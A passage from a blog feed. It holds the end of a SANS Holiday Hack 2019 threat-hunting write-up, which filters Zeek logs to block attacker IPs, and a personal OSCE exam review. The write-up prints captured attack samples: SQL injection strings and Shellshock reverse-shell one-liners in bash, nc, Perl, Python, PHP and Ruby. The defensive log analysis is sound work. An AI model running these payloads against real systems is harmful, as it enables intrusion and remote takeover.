1' UNION SELECT 1,concat(0x61,0x76,0x64,0x73,0x73,0x63,0x61,0x6e,0x6e,0x69,0x6e,0x67,,3,4,5,6,7,8 -- ', IP: 68.115.251.76
1' UNION SELECT 1,concat(0x61,0x76,0x64,0x73,0x73,0x63,0x61,0x6e,0x6e,0x69,0x6e,0x67,,3,4,5,6,7,8 -- ', IP: 118.196.230.170
1' UNION SELECT 1,concat(0x61,0x76,0x64,0x73,0x73,0x63,0x61,0x6e,0x6e,0x69,0x6e,0x67,,3,4,5,6,7,8 -- ', IP: 173.37.160.150
1' UNION SELECT 1,1409605378,1,1,1,1,1,1,1,1/*&blogId=1, IP: 81.14.204.154
1' UNION/**/SELECT/**/994320606,1,1,1,1,1,1,1/*&blogId=1, IP: 135.203.243.43
1' UNION SELECT 1729540636,concat(0x61,0x76,0x64,0x73,0x73,0x63,0x61,0x6e,0x65,0x72, --, IP: 186.28.46.179
</span><span class="gp">1' UNION SELECT -1,'autosc','test','O:8:\"stdClass\":3:{s:3:\"mod\";</span>s:15:<span class="se">\"</span>resourcesmodule<span class="se">\"</span><span class="p">;</span>s:3:<span class="se">\"</span>src<span class="se">\"</span><span class="p">;</span>s:20:<span class="se">\"</span>@random41940ceb78dbb<span class="se">\"</span><span class="p">;</span>s:3:<span class="se">\"</span>int<span class="se">\"</span><span class="p">;</span>s:0:<span class="se">\"\"</span><span class="p">;</span><span class="o">}</span><span class="s1">',7,0,0,0,0,0,0 /*, IP: 13.39.153.254
</span><span class="go">1' UNION SELECT '1','2','automatedscanning','1233627891','5'/*, IP: 111.81.145.191
1' UNION/**/SELECT/**/1,2,434635502,4/*&blog=1, IP: 0.216.249.31
</span><span class="gp">() { :;</span><span class="w"> </span><span class="o">}</span><span class="p">;</span> /bin/bash <span class="nt">-i</span> <span class="o">></span>& /dev/tcp/31.254.228.4/48051 0>&1, IP: 31.254.228.4
<span class="gp">() { :;</span><span class="w"> </span><span class="o">}</span><span class="p">;</span> /bin/bash <span class="nt">-c</span> <span class="s1">'/bin/nc 55535 220.132.33.81 -e /bin/bash'</span>, IP: 220.132.33.81
<span class="gp">() { :;</span><span class="w"> </span><span class="o">}</span><span class="p">;</span> /usr/bin/perl <span class="nt">-e</span> <span class="s1">'use Socket;$i="83.0.8.119";$p=57432;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'</span>, IP: 83.0.8.119
<span class="gp">() { :;</span><span class="w"> </span><span class="o">}</span><span class="p">;</span> /usr/bin/python <span class="nt">-c</span> <span class="s1">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("150.45.133.97",54611));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span>, IP: 150.45.133.97
<span class="gp">() { :;</span><span class="w"> </span><span class="o">}</span><span class="p">;</span> /usr/bin/php <span class="nt">-r</span> <span class="s1">'$sock=fsockopen("229.229.189.246",62570);exec("/bin/sh -i <&3 >&3 2>&3");'</span>, IP: 229.229.189.246
<span class="gp">() { :;</span><span class="w"> </span><span class="o">}</span><span class="p">;</span> /usr/bin/ruby <span class="nt">-rsocket</span> <span class="nt">-e</span><span class="s1">'f=TCPSocket.open("227.110.45.126",43870).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'</span>, IP: 227.110.45.126
<span class="go">' or '1=1, IP: 33.132.98.193
' or '1=1, IP: 84.185.44.166
' or '1=1, IP: 254.140.181.172
' or '1=1, IP: 150.50.77.238
</span></code></pre></div></div>
<p>Awesome, so it seems we have ~68 malicious IP’s, but that’s not enough - the objective said we need at least 100. Well hold on, let’s think back to the talk with Wunorse.</p>
<p>If you remember correctly, he said something about “pivoting off other unusual attributes”. What can this mean? Well, by attributes I’m assuming the values in the Zeek log. Since we have a list of malicious IPs’ that were attacking the servers, what we can do is search for these IP’s and grab their User Agents.</p>
<p>If whatever tool they used was the same and was just using a round robin style proxy, then their user agents will be a dead giveaway for other malicious IPs. With that, let’s modify our python script to search for the user agents.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'malicious_ips.txt'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
<span class="n">command</span> <span class="o">=</span> <span class="s">'cat http.log | jq -r </span><span class="se">\'</span><span class="s">.[] | select(.["id.orig_h"] | contains ("'</span><span class="o">+</span><span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span><span class="o">+</span><span class="s">'"))</span><span class="se">\'</span><span class="s"> | jq -j </span><span class="se">\'</span><span class="s">(.["id.orig_h"], ", UA: ", .["user_agent"], "</span><span class="se">\\</span><span class="s">n")</span><span class="se">\'</span><span class="s">'</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
</code></pre></div></div>
<p>Executing that script should give us the something similar to the following results:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span>python3 run.py
<span class="gp">61.110.82.125, UA: Mozilla/5.0 (iPhone;</span><span class="w"> </span>CPU iPhone OS 10_3 like Mac OS X<span class="o">)</span> AppleWebKit/602.1.50 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> CriOS/56.0.2924.75 Mobile/14E5239e Safari/602.1
<span class="gp">65.153.114.120, UA: Mozilla/5.0 (iPhone;</span><span class="w"> </span>CPU iPhone OS 10_3 like Mac OS X<span class="o">)</span> AppleWebKit/603.1.23 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Version/10.0 Mobile/14E5239e Safari/602.1
<span class="gp">123.127.233.97, UA: Mozilla/5.0 (Macintosh;</span><span class="w"> </span>Intel Mac OS X 10_10_4<span class="o">)</span> AppleWebKit/600.7.12 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Version/8.0.7 Safari/600.7.12
<span class="gp">95.166.116.45, UA: Mozilla/5.0 (Linux;</span><span class="w"> </span>Android 4.0.4<span class="p">;</span> Galaxy Nexus Build/IMM76B<span class="o">)</span> AppleWebKit/535.19 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Chrome/18.0.1025.133 Mobile Safari/535.19
<span class="gp">80.244.147.207, UA: Mozilla/5.0 (Linux;</span><span class="w"> </span>U<span class="p">;</span> Android 4.1.1<span class="p">;</span> en-gb<span class="p">;</span> Build/KLP<span class="o">)</span> AppleWebKit/534.30 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Version/4.0 Safari/534.30
<span class="gp">168.66.108.62, UA: Mozilla/5.0 (Linux;</span><span class="w"> </span>Android 5.1.1<span class="p">;</span> Nexus 5 Build/LMY48B<span class="p">;</span> wv<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Version/4.0 Chrome/43.0.2357.65 Mobile Safari/537.36
<span class="gp">200.75.228.240, UA: Mozilla/5.0 (Linux;</span><span class="w"> </span>Android 4.4<span class="p">;</span> Nexus 5 Build/_BuildID_<span class="o">)</span> AppleWebKit/537.36 <span class="o">(</span>KHTML, like Gecko<span class="o">)</span> Version/4.0 Chrome/30.0.0.0 Mobile Safari/537.36
<span class="gp">42.103.246.250, UA: Mozilla/4.0 (compatible;</span>MSIe 7.0<span class="p">;</span>Windows NT 5.1<span class="o">)</span>
<span class="go">56.5.47.137, UA: HttpBrowser/1.0
---snip---
</span></code></pre></div></div>
<p>Now that we have a list of malicious user agents, let’s clean them up, and save them to an new list. Once done, let’s go ahead and re-write our script to parse the user agents and get other IP’s.</p>
<p>The final script should look like the following:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">os</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'malicious_agents.txt'</span><span class="p">)</span>
<span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
<span class="n">command</span> <span class="o">=</span> <span class="s">'cat http.log | jq -r </span><span class="se">\'</span><span class="s">.[] | select(.["user_agent"] | contains ("'</span><span class="o">+</span><span class="n">line</span><span class="p">.</span><span class="n">strip</span><span class="p">()</span><span class="o">+</span><span class="s">'"))</span><span class="se">\'</span><span class="s"> | jq -j </span><span class="se">\'</span><span class="s">(.["id.orig_h"], "</span><span class="se">\\</span><span class="s">n")</span><span class="se">\'</span><span class="s">'</span>
<span class="n">os</span><span class="p">.</span><span class="n">system</span><span class="p">(</span><span class="n">command</span><span class="p">)</span>
</code></pre></div></div>
<p>Once again, we execute the script and get an output similar to the one below:</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span>python3 run.py
<span class="go">61.110.82.125
65.153.114.120
123.127.233.97
95.166.116.45
80.244.147.207
168.66.108.62
200.75.228.240
42.103.246.250
42.103.246.130
42.103.246.130
42.103.246.130
42.103.246.130
56.5.47.137
118.26.57.38
---snip---
</span></code></pre></div></div>
<p>There seems to be a lot of duplicates, but don’t worry! Just add all these IP’s to the previous list of malicious IPs’, and sort by unique! Once that’s done, we should have about 166 possible malicious IP’s.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/sleigh_route#</span><span class="w"> </span><span class="nb">cat </span>malicious_ips.txt | <span class="nb">wc</span> <span class="nt">-l</span>
<span class="go">166
</span></code></pre></div></div>
<p>With that, let’s add the IP’s to the firewall, and press <strong>DENY</strong>. If done correctly, we should block most of the malicious IP’s and help Santa get a proper route!</p>
<p align="center"><a href="/images/hh19-204-2.png"><img src="/images/hh19-204-2.png" /></a></p>
<p>Once completed, we can navigate to the twelfth objective in our badge, and enter the RID of <code class="language-plaintext highlighter-rouge">0807198508261964</code> to complete the challenge!</p>
<p align="center"><a href="/images/hh19-205.png"><img src="/images/hh19-205.png" /></a></p>
<p>Upon completing the objective, the door to the Bell Tower should now open for us.</p>
<p align="center"><a href="/images/hh19-206.png"><img src="/images/hh19-206.png" /></a></p>
<p>Once we enter the Bell Tower, we spot Santa, Krampus and The Tooth Fairy!</p>
<p align="center"><a href="/images/hh19-207.png"><img src="/images/hh19-207.png" /></a></p>
<p>Upon talking to Santa, we learn that we finally helped stop the sinister plot set out by the Tooth Fairy!</p>
<p align="center"><a href="/images/hh19-207-2.png"><img src="/images/hh19-207-2.png" /></a></p>
<p>Hooray! We completed this year’s Holiday Hack, and what a learning adventure it has been!</p>
<p align="center"><a href="/images/hh19-208.png"><img src="/images/hh19-208.png" /></a></p>
<h2 id="closing">Closing</h2>
<p>As always, SANS has done an amazing job for this year’s Holiday Hack! Especially since this year was way more blue team and defender focused, allowing us to learn about threat hunting and tools like Splunk.</p>
<p>Now just because this was geared more for the Blue Team, the Red Team learned a lot from this too. We now know how our attacks are detected and the kind of work we need to put in to avoid detection!</p>
<p>I’m really looking forward to next year’s challenge!</p>
<p>Cheers everyone, thanks for reading!</p>Jack Halonjacek.halon@gmail.comHappy Holidays and a Happy New Year 2020 readers!Offensive Security’s CTP & OSCE Review2019-08-22T00:00:00+00:002019-08-22T00:00:00+00:00https://jhalon.github.io/OSCE-Review<p>On August 22, 2019 I received yet another one of the most desired emails by aspiring Offensive Security enthusiasts and professionals…</p>
<blockquote>
<p>Dear Jack,</p>
<p>We are happy to inform you that you have successfully completed the Cracking the Perimeter certification exam and have obtained your Offensive Security Certified Expert (OSCE) certification.</p>
</blockquote>
<p>It was finally over! I accomplished what I believed to be, as of yet, the hardest certification exam I have attempted! After a grueling year of training after my OSCP, followed by a month in the lab, and two 48 hour exam retakes, it all paid off at the end - I was finally an OSCE!</p>
<p>Now when people told me that the OSCE was a monster all on its own, I really didn’t believe them. Well, that was until I failed my first exam attempt and got a taste for myself. Failing the exam led me to explore new technique and tactics, and took me down a pretty interesting rabbit hole that actually taught me a great deal of new things!</p>
<p>So as I write this post, I want to share my thoughts, experiences, and some tips for those who are aiming to achieve the OSCE. Because trust me when I say… you’ll need them!</p>
<h2 id="background--experience">Background & Experience</h2>
<p>Before I delve into the CTP Course and the OSCE, I want to provide you with some information on my background and experience. At time of writing this post I have been in the InfoSec Industry for ~5 years now. I completed my OSCP back in 2017 and detailed my previous background, and experience in my <a href="https://jhalon.github.io/OSCP-Review/">Offensive Security’s PWK & OSCP Review</a> blog post. Since then I have learned a great deal of new things and at the time of writing this work as a Security Consultant and Red Team Operator at <a href="https://www.nccgroup.trust/us/">NCC Group</a>.</p>
<p>Much of the learning I did to prepare me for the OSCE was done outside of work by reading books, practicing in HackTheBox, and competing in CTF’s such as the 2018 Google CTF. A big reason I perused the OSCE was not to learn exploit development but to gain new skills that would make me a better red teamer in terms of being able to develop new tools, bypass anti-virus and EDR, to even learning how to fuzz and build more complex exploits if the need was to arise.</p>
<p>Now, do you need to hold the same experience to pass the OCSE? Absolutely not! I firmly believe that if you passed your OSCP, and took the time to learn more about web application vulnerabilities, x86 assembly and some windows internals, then you would be more than ready to attempt this course! I will delve a bit deeper on the specific studies you need to succeed a little later on, but for now, let’s get into the meat of the review!</p>
<h2 id="the-ctp-course--lab">The CTP Course & Lab</h2>
<p>Unlike the OSCP, the OSCE doesn’t have a dedicated practice lab. In fact, the CTP course and lab are tied in together - making it more of a walkthrough and “follow along” then a self-taught course, which is then followed by the OSCE exam. You have an option to register for either 30 or 60 days of lab time. Once registered, on your assigned course start date you’ll be provided access to download all your course materials. The materials include the ~4-hour Offensive Security CTP course videos, the 145-page CTP PDF course, and your VPN lab access.</p>
<p>When I started my OSCE journey I opted for 30 days as I thought that this would be a decent amount of time to cover the material, and spend some time practicing and honing the techniques taught to me. I don’t recommend opting in for 60 days as I believe that you won’t get much benefit from the additional days due to the fact that you can pretty much cover the whole course and more in the 30 day time span.</p>
<p>Just as with the OSCP, it’s recommended that you go through both the PDF and Videos as the videos sometimes have more details then the PDF. The course teaches some more advanced penetration testing skills and cover topics such as:</p>
<ul>
<li>Web Application Attacks (XSS/LFI to RCE)</li>
<li>Backdooring PE Files</li>
<li>Bypassing Antivirus Systems</li>
<li>Bypassing ASLR on Windows Vista</li>
<li>Crafting and Using Egghunters</li>
<li>Fuzzing & 0Day Development</li>
<li>Encoding Shellcode & Bypassing Restrictions</li>
<li>Attacking Network Infrastructure</li>
</ul>
<p>It took me about 2 weeks to get through all the materials in the course, not because it was long, but because some of the material and exercises were quite hard - and you really needed to put in some effort to make things work. Even though some of the material was hard, the learning experience was phenomenal. Fact, much of the material is a tad bit outdated - ranging back to the XP and Vista days - but even so the course did an excellent job on teaching you the basics of the exploit development life cycle and its associated techniques.</p>
<p>Now, I must give you a stern warning - just like the PWK course, the CTP will not and does not provide you with everything you need to know, but it does hint you on what you need to learn to pass the exam. So I highly suggest to spend time doing additional research and practice after the course.</p>
<p>Since the course and lab are tied together - I will briefly go over what you can expect. The lab itself only has a total of 4 virtual machines that contain all the tools and software you need to practice and complete the exercises. Now thankfully, unlike the OSCP, you don’t have to write up a report for the exercises! =)</p>
<p>Within these four machines you’ll practice the different topics stated above, and will be asked to mix and match what you have learned so far to create more complex exploit - such as bypassing a different antivirus, or using a 3-byte overwrite to execute your egg hunter. The exercises are pretty easily followed, but make no mistake, the devil is in the detail and if you don’t pay attention or spend time doing additional research on the topics, and you’ll have a hard time understanding everything.</p>
<p>After my 30 days were up, I decided to do some more practice before scheduling my exam. I went to <a href="https://www.exploit-db.com/">exploit-db</a> and looked for simple vulnerabilities in applications that I could practice on. After 2 more weeks of practice and reading blogs, I decided to attempt my OSCE exam and locked in the time for May 26th at 12PM.</p>
<h2 id="the-osce-exam---attempt-1">The OSCE Exam - Attempt #1</h2>
<p>If you thought the OSCP was hard, then you’re in for a surprise. This soul crushing, gut wrenching, 48-hour exam is in all honesty the hardest I ever attempted - and by god did I love it. This exam really makes you demonstrate creative problem solving and your ability to think laterally while performing effectively under pressure to execute attacks in a controlled and focused manner.</p>
<p>For the exam, you are allocated 4 machines, and are allowed RDP/VNC access to 2 of them to build and debug your exploits for 3 of the 4 objectives. As with the OSCP, each machine has certain objectives that you need complete in order for your points to count. Along with that, automated tools like Brup Pro, Metasploit AutoPwn, etc. are restricted, but you can still use Metasploit. In order to pass you need to score 75/90 points. I highly suggest you read the <a href="https://support.offensive-security.com/osce-exam-guide/">OSCE Exam Guide</a> for more details on what is and isn’t allowed during the exam.</p>
<h3 id="01-x-12pm-doesnt-seem-hard">01 x 12PM: Doesn’t Seem Hard!</h3>
<p>Finally, May 26th came around. With some early morning breakfast in me and a coffee in my hand, I was sitting at my computer listening to some Monstercat when I received my exam information and VPN access from OffSec. “Let’s do this!” I thought to myself as I read the instructions, noted the objectives and began working on the first “easy” objective.</p>
<h3 id="01-x-3pm-i-fued-up">01 x 3PM: I Fu**ed Up:</h3>
<p>Approximately 3 hours after my initial start time I came to realize something… and that something was that I messed up, badly. I misread the objective and went down a complete rabbit hole that didn’t work. I only came to realize my error when I went back and slowly re-read the objective. I was fuming! I wasted three hours of my time to not only realize that I was doing it wrong, but that the solution for the challenge was going to be much more complex then originally thought. I knew what I had to do, but it was going to be time consuming… oh well.</p>
<h3 id="01-x-5pm-its-not-working">01 x 5PM: It’s not working…</h3>
<p>After catching my mistake, I took a quick 5 minute breather, got something to drink and off I went working on my exploit. Two hours later I crafted my initial exploit and had it working on a local test machine I set up for myself - but for some reason the exploit would not work on the debugging machine! Why?! After a few more trial and error tests I decided to leave this objective for later and moved onto the next one.</p>
<h3 id="01-x-7pm-youre-kidding-me-right">01 x 7PM: You’re kidding me, right?</h3>
<p>After wasting a lot of time on the first objective I decide to move onto the next “easy” objective. I was 7 hours into the exam and still haven’t gotten a single point, but I told myself not to give up - I still had 41 hours left. I began working on my second objective using techniques that I learned from the course and from some blogs that I read. Everything was working as intended and doing what it was supposed to… but the final result was unsuccessful.</p>
<p>“You’re kidding me, right?!” I yelled, as I knew that this technique had to work, but something was just not right! I found myself trying new techniques, googling, rebuilding my shellcode, googling some more, and updating my shellcode again, but even that wasn’t enough. I couldn’t finish the objective. Feeling down, I decided to come back to this later as well and moved onto the third objective.</p>
<h3 id="01-x-830pm-okay-i-got-this-guess-not">01 x 8:30PM: Okay, I got this… Guess not.</h3>
<p>At this point I opted to take a small break and eat some dinner to relax. I was in a bad spot. 9 hours in and I wasn’t making progress but I had hope that I could still pass! After my short break I sat down at my computer, took a deep breath, and off I went attempting the third objective. Within an hour I made some progress, found the vulnerability, and was able to somewhat exploit it but not fully.</p>
<p>For the next 4 hours, I was at a roadblock. I knew how to exploit the vulnerability to get a shell, but I couldn’t for the life of me find the exact location needed. I spent hours googling, researching, and testing techniques but nothing worked. At this point I found myself bouncing back and forth between the three challenges and decided that I need to sleep… I was exhausted!</p>
<h3 id="02-x-1am-down-but-not-out">02 x 1AM: Down but not out!</h3>
<p>It was late. After 13 hours into the exam, and zero points under my belt I felt defeated. This exam was harder than I thought and at this point I started to come to terms that I might fail. Even though I got no points, I made some progress and the exam was not yet over! I still had a fighting change! With that mind set I went to bed hoping that the next day would be better.</p>
<h3 id="02-x-10am-well-did-you-rtfm">02 x 10AM: Well did you RTFM!?</h3>
<p>Day 2 arrived! With the sun shining through my window I woke up at 9AM, ate some breakfast, made some coffee and off I went to work on the exam. I focused my efforts on the first objective again and slowly re-read the objectives to make sure I wasn’t doing anything wrong.</p>
<p>Oh… Oops! After re-reading the objectives again I noticed that I missed a critical piece of “additional” information. But surely that wasn’t it, right? Oh boy was I wrong! I followed the additional information and within 50 minutes I got a working exploit! I jumped up and screamed for joy! I can’t believe I failed to see this in the first place, boy did I felt stupid.</p>
<p>Oh well, with that successful exploit I attained 15 points! I felt ecstatic, filled with new energy I believed that I now had a fighting chance!</p>
<h3 id="02-x-6pm-two-wrongs-make-a-right-i-guess">02 x 6PM: Two wrongs make a right, I guess…</h3>
<p>After getting the first objective, I spent the next six hours jumping between the third and fourth objectives - some fuzzing here, some googling there, some CTP course magic here, the wrong google search here… wait what? Wrong google search? “This isn’t what I wanted! Oh, hey, wait a second…” I thought to myself as I came across a forum post while doing research for how to exploit the third objective. The post wasn’t really what I was looking for, but lo and behold it actually was! Using my new found information and after some trial an error, I was able to obtain my second shell, bringing me up to 30 points!</p>
<p>Yes! I celebrated with a victory lap around the house and thought that maybe I can still pass!</p>
<h3 id="02-x-9pm-hello-access-violation">02 x 9PM: Hello Access Violation!</h3>
<p>During the time I was working on the third objective, I was fuzzing the forth objective - but had no success. Being a little tired and hungry, I decided to write a script that would automate the fuzzing for me. With the script completed, I kicked it off and stepped away for an hour to eat and rest. Once my break was over I got back and was bestowed by the holy grail of exploit development - “Access Violation”.</p>
<p>I was thrilled! Within 15 minutes I was able to jump into my controlled buffer. I then set off to build a simple python proof of concept to use as my skeleton exploit. Now came the hard part, crafting a working exploit that would bestow me with a shell!</p>
<h3 id="03-x-6am-thats-impossible">03 x 6AM: That’s impossible!</h3>
<p>9 hours went by since I got control of my malicious buffer… 9 hours of hard work, testing shellcode and applying new techniques, but all of that was for nothing. Nothing seemed to work, this objective was literally impossible! There was one major road block that was killing me, the same thing that usually kills all exploit development, and it was right there staring me in the face with its evil little grin.</p>
<p>I didn’t know what to do.</p>
<h3 id="03-x-9am-defeated">03 x 9AM: Defeated!</h3>
<p>I was exhausted and only had 3 hours left before the exam was over. With only 30 points under my belt, an unfinished challenge, and an impossible exploit - I knew this was over, I won’t pass. I choked up a little, and made up my mind to call it quits. I was defeated, it was over, my dream of becoming an OSCE… shattered.</p>
<p>I sulked my way over to my bed and fell asleep.</p>
<h2 id="intermission---back-to-the-basics">Intermission - Back to the Basics</h2>
<p>I was quite miserable after failing the exam, it was way harder than previously thought. At first I blamed OffSec for not teaching the required techniques needed to pass, but after talking to some friends, reading the forums, and going through the course again I came to realize something. OffSec did prepare me for the exam, everything that I needed to know and learn more in depth was provided in the course - maybe not directly stated, but it was there.</p>
<p>Here’s the beautiful thing about Offensive Security. It’s that they first hold your hand through the course and teach you the techniques needed to understand the basics, but after that they throw you into the deep end of the pool to learn on your own. While it might seem a bit brash at first, it really isn’t because Offensive Security want’s to teach you to be creative, think laterally and to be detailed oriented. If you pay more attention to the course and exam you’ll notice that the devil is in the details and that OffSec pretty much points you in the right direction or gives you hints for the challenges.</p>
<p>With a new found love for Offensive Security, a fresh mindset and the willingness to learn, I opted to take a 2 week break and returned to my studies shortly after.</p>
<p>I first started by going through the exam objectives again, spending about two hours reading them, taking notes and trying to read in between the lines. Unfortunately for me when I did this I noticed things I missed during the exam - which just goes to show that you really need to pay attention during the course and exam.</p>
<p>After taking notes, I did some OSINT (Open Source Intelligence Gathering) on Offensive Security’s website for the CTP/OSCE and looked at the “<strong>What competencies will you gain?</strong>” section. A few points stood out to me, such as “<strong>understanding of PE structures</strong>”, “<strong>innovative ways of penetrating internal networks</strong>”, as well as the “<strong>ability to work through encoding issues and space restrictions</strong>”.</p>
<p>Once my notes were completed, I went through the CTP course again and tried to focus on items that I knew would help me on the exam. Afterwards I went online and googled for the topics that I noted previously and to be honesty they really helped me understand the course and objectives in depth. This not only reflected back to the OSCE exam later but also helped me become a better red teamer as I learned new things such as PE Injections, some new internal network pivoting and attack techniques, and more!</p>
<p>While also reading and studying the new found material, I created a simple Windows XP lab that I used to practice on. I tried to craft the lab to resemble the OSCE exam as close as possible. This was fantastic for me as I got the opportunity to test techniques, learn the ins and outs of the OllyDbg debugger, and also got to play with shellcoding and the Windows API locally.</p>
<p>My additional study period lasted about two months and I believe that it was greatly beneficial for me. After all that I felt ready to go after my second OSCE attempt, and locked in the date of August 15th, 2019 at 2PM. Once the date was locked in I actually started working and drafting my OSCE report to save me time if I was to pass the next exam retake.</p>
<h2 id="the-osce-exam---attempt-2">The OSCE Exam - Attempt #2</h2>
<p>Finally, August 15th came around. I woke up at 10AM and followed my regular daily routine. The days leading up to my exam I spent away from the computer enjoying a small vacation, so I was relaxed and well rested. I decided to take a short walk outside as the weather was nice to relax and focus on what I had to do. By 1:30PM I was sitting at my computer reading through all my notes and making mental notes of what I needed to focus on.</p>
<p>I had some proof of concepts created from my previous attempt that I fine-tuned throughout my study period. I knew that these proof of concepts were the answers to objectives, all that was left was to implement them properly. Sure enough, at 2PM I got the email from OffSec with my exam information. After setting everything up, I took a deep breath and dived right into the first objective.</p>
<h3 id="01-x-6pm-im-on-fire">01 x 6PM: I’m on fire!</h3>
<p>4 hours after my initial start time and I was on fire as I managed to take out 2.5 of the 4 objectives! This put me in a good position with 45 points under my belt. I did have some issues on the first objective such as my math being off and some stack alignment issues, but that was easily solved thanks to all the prep work I did. It was smooth sailing!</p>
<p>The second objective was taken out shortly after the first. Thanks to all the reading that I did, I knew why my previous attempts didn’t work. A shell on the third objective followed directly after. I jumped for joy and did a lap around my house celebrating. Being ecstatic that everything was falling into place, I decided to take my energy and focus on the fourth “impossible” objective.</p>
<h3 id="01-x-8pm-peekaboo-i-see-you">01 x 8PM: Peekaboo! I see you!</h3>
<p>There’s a reason the forth objective is considered “impossible”, and that’s because it literally forces you to think laterally and like an actual attacker to accomplish the objective. I was able to fuzz and crash the application with my proof of concept, I had control of my malicious buffer - but I still didn’t know how to exploit the vulnerability to get a shell.</p>
<p>So I did the only thing I could, and that was to put on my Red Team face on and play the role of a persistent attacker. After an hour of digging I found something very promising and luckily for me this topic was briefly presented in the course! So I built a quick proof of concept and was able to get a remote shell on the debugging machine. I just found the shell vector… but now the question was, how the heck do I craft this into my exploit?</p>
<h3 id="01-x-11pm-work-dammit">01 x 11PM: Work dammit!</h3>
<p>After finding the exploit vector to obtain a shell for the forth objective I decided to step away for an hour to eat and relax. I had to figure out a way to execute this exploit remotely, but how? This question stuck with me the whole time while I was eating. It wasn’t until me and my dad were talking about doing some custom work on our kitchen that it struck me… CUSTOM! Yes that’s it! How could have I missed this?! I needed to build custom shellcode to get past the restrictions, it was the only viable option!</p>
<p>By 10PM I was at my computer again doing some googling, and crafting custom shellcode to exploit the vulnerability. I crafted some shellcode on my local XP machine and verified that it worked; I finally found the solution to the objective! So I did the next best thing and tested it on the debugger machine hoping that it would work… but it didn’t. That little evil roadblock was still there, staring back at me with more than just a grin this time. I needed to find a way to optimize the shellcode, but attempt after attempt, I still couldn’t get it to work.</p>
<h3 id="02-x-1am-let-me-sleep-on-it">02 x 1AM: Let me sleep on it.</h3>
<p>It was getting late. 11 hours into the exam and I knew that I was close to passing, but I kept hitting roadblocks. I was able to do some code optimization but I was still missing a critical piece of information to make the shellcode work properly. I decided to step away for the day and go to sleep. I knew I would pass, so might as well get a good night of sleep… right?</p>
<h3 id="02-x-10am-ever-heard-of-backups">02 x 10AM: Ever heard of backups?</h3>
<p>The 2nd day started off very well for me actually. I woke up at 9AM, followed my daily routine, and by 10AM I was at my computer again getting ready to tackle the final challenge! I started up my VM and was greeted by a “<em>Oh no! Something has gone wrong. A problem has occurred and the system can’t recover</em>” message.</p>
<p>My reaction was something along the lines of…</p>
<p align="center"><a href="http://giphygifs.s3.amazonaws.com/media/12XMGIWtrHBl5e/giphy.gif"><img src="http://giphygifs.s3.amazonaws.com/media/12XMGIWtrHBl5e/giphy.gif" /></a></p>
<p>I had to recover my data somehow! This is a VM right? So that means I have a snapshot somewhere, right? Wrong! I never backed up the data on my exam VM… lovely. Fortunately for me I was able to boot the VM into recovery mode and figured out that the error occurred in Xorgs. Thankfully that was easily fixed and I was able to log back into my system after an hour. Phew, crisis averted.</p>
<p>Maybe this a good time to remind you to back up your data or take snapshots of your VM’s!</p>
<h3 id="02-x-2pm-not-so-fast-cowboy">02 x 2PM: Not so fast cowboy!</h3>
<p>With the data crisis averted, I got back to work trying hard to optimize my shellcode. I made some good progress, some CTP magic here, some googling here and I was really close! But yet again I was at a roadblock, I was missing something critical. What could it be? I started to lose hope after a few hours and even considered giving up - but I told myself that I will “<strong>Try Harder</strong>” and continued to push forward.</p>
<h3 id="02-x-6pm-the-devil-is-in-the-details">02 x 6PM: The devil IS in the details…</h3>
<p>I was so close to passing that I could taste it! I only needed to tweak my shellcode a little and I would get my exploit to work, but I couldn’t put my finger on what optimization I needed. At this point I decided to take a step back and walked to the kitchen to make some food and tea. As I sat in the kitchen my dad came and asked me how the exam was going, to which I responded with my current status. After listening to me he told me that I was probably over thinking it, and to relax, explaining that I will figure it out.</p>
<p>Overthinking? Impossible! I was thinking laterally… that’s what OffSec wanted, right? Okay, I was in the same situation during my OSCP exam, so I returned back to my computer and decided to start from the basics. After some step by step debugging I noticed something simple that I previously overlooked. At first I didn’t think much of it until I started to think about how I can use this in my shellcode. After some thinking and fiddling around, I made a small adjustment to my shellcode, held my breath, and kicked it off against the server.</p>
<p>Boom… shell! I jumped out of my chair and screamed! I got it, it worked! This shell bestowed me with an additional 30 points, brining me up to 75 points - enough to pass! I was so hyped but also disappointed with myself that I missed such a simple piece of information. Still I did it, I passed!</p>
<h2 id="wrapping-it-up">Wrapping it Up</h2>
<p>With 75 points under my belt I decided to call it quits. I was tired and had a very busy weekend ahead of me, so I decided to finish up my report. I went back to gather all my screenshots, validate the exam requirements, and by 9PM I sent the report to OffSec which was about 98 pages long.</p>
<p>I received a response 5 days later from Offensive Security saying that I passed. It was finally over, I did it, I was an OSCE!</p>
